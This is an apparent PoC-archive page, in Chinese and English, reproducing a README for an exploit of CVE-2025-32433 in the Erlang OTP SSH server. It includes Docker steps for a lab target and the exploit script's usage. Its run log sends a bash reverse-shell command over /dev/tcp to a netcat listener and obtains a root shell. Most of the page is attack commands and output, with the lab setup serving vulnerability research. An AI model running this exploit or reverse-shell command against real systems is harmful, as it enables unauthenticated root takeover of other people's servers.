关联漏洞
介绍
## Build
```bash
» git clone https://github.com/0xPThree/cve-2025-32433.git && cd cve-2025-32433
» docker build -t erlang-ssh .
» docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh
```
---
## POC
```bash
kdev :: ~/erlang/CVE-2025-32433 ‹main*› » python3 cve-2025-32433.py -h
usage: cve-2025-32433.py [-h] [-d] [--host HOST] [--port PORT]
Exploit for CVE-2025-32433 (Erlang OTP SSH server).
options:
-h, --help show this help message and exit
-d, --debug Print raw response in hex format
-t, --target TARGET Target host (default: 127.0.0.1)
-p, --port PORT Target port (default: 2222)
kdev :: ~/erlang/CVE-2025-32433 ‹main*› » python3 cve-2025-32433.py -t 127.0.0.1 -p 2222
[*] Connecting to SSH server...
[✓] Banner: SSH-2.0-Erlang/5.1.4.7
[*] Sending KEXINIT...
[*] Opening channel...
[?] Shell command: bash -i >& /dev/tcp/172.17.0.1/4488 0>&1
[*] Sending CHANNEL_REQUEST...
[✓] Payload sent.
```
```bash
kdev :: ~/erlang/CVE-2025-32433 ‹main*› » nc -lvnp 4488
listening on [any] 4488 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 58338
root@cf0f300797ea:~# id && hostname
uid=0(root) gid=0(root) groups=0(root)
cf0f300797ea
```
## Additional information
https://0xpthree.gitbook.io/notes/exploits-pocs/erlang/otp-ssh-cve-2025-32433
文件快照
[4.0K] /data/pocs/04a2b9c73ef6af2d7cf63af6ea225cb10fb6fe7d
├── [3.8K] cve-2025-32433.py
├── [ 886] Dockerfile
├── [1.3K] README.md
└── [ 589] ssh_server.erl
0 directories, 4 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。